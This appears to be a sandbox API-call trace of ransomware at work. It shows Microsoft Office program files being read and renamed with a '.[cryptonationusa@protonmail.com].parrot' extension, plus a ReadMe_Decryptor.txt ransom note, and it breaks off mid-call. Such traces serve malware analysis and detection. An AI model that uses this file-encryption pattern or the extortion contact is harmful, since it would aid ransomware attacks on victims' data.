FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa033a80, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0xa033a80, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.376] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49110e00, ftCreationTime.dwHighDateTime=0x1bf97c1, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa00d920, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Currency Rates.iqy.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MSNMON~1.PAR")) returned 1 [0211.376] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.376] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.378] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.378] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a900, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1a900, lpOverlapped=0x0) returned 1 [0211.381] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.392] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.392] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.394] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.394] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x353f7, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x353f7, lpOverlapped=0x0) returned 1 [0211.399] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\office14\\rswop.icm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\rswop.icm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.411] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0211.412] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0211.412] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.412] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0211.412] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0211.412] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 1 [0211.412] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.412] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.414] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.414] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d000, lpOverlapped=0x0) returned 1 [0211.420] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\solvsamp.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\solvsamp.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.431] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0211.431] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0cc000, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0xa0cc000, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.432] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0cc000, ftCreationTime.dwHighDateTime=0x1d5e09e, ftLastAccessTime.dwLowDateTime=0xa0cc000, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0xa0cc000, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0211.432] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.433] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.469] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.469] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9770, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x9770, lpOverlapped=0x0) returned 1 [0211.472] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf" (normalized: "c:\\program files\\microsoft office\\office14\\segoechess.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\segoechess.ttf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.479] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.479] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.480] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.480] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x67, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x67, lpOverlapped=0x0) returned 1 [0211.481] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.486] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.487] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.488] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.488] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x80fb, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x80fb, lpOverlapped=0x0) returned 1 [0211.492] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.498] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.498] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.500] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.500] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x597e9, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x597e9, lpOverlapped=0x0) returned 1 [0211.522] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\spanish.lng"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\spanish.lng.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.543] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.543] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.545] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.545] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x173e8, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x173e8, lpOverlapped=0x0) returned 1 [0211.552] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.565] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0211.565] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0211.565] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.566] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0211.566] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0211.566] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.566] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0211.566] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.566] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.567] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.567] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.568] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.569] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15f1, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x15f1, lpOverlapped=0x0) returned 1 [0211.570] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\subscription.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\subscription.xsd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.576] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.576] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.578] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.578] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46c00, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x46c00, lpOverlapped=0x0) returned 1 [0211.586] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.597] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\thocr.psp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\thocr.psp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.605] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.605] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.606] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.607] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22dd8, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x22dd8, lpOverlapped=0x0) returned 1 [0211.612] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0007.tll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0007.tll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.623] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.623] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.624] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.624] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f1b0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1f1b0, lpOverlapped=0x0) returned 1 [0211.632] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0009.tll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0009.tll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.644] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.644] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.687] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.687] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29bd8, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x29bd8, lpOverlapped=0x0) returned 1 [0211.693] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz000c.tll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\vblz000c.tll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.705] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.705] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.706] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.706] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d9e0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1d9e0, lpOverlapped=0x0) returned 1 [0211.712] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 